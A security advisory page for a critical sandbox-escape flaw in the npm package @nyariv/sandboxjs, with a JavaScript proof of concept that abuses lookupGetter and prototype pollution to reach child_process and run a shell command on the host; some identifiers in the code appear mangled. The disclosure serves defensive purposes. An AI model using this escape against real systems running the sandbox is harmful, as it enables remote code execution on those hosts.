PT-2026-6406 · Npm · @Nyariv/Sandboxjs

Publicado

2026-02-02

·

Atualizado

2026-02-02

CVSS v3.1

10

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

SandboxJS does not properly restrict lookupGetter which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

Details

The Object prototype which contains lookupGetter is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

PoC

js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
let getProto = Object.toString. lookupGetter (" proto ")
let m = getProto.call(new Map());
m.has = isFinite;

console.log(
 isFinite.constructor(
  "return process.getBuiltinModule('child process').execSync('ls -lah').toString()",
 )(),
);`
sb.compile(payload)().run();

Impact

Prototype Pollution -> RCE

Correção

Code Injection

Prototype Pollution

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-9P4W-FQ8M-2HP7

Produtos afetados

@Nyariv/Sandboxjs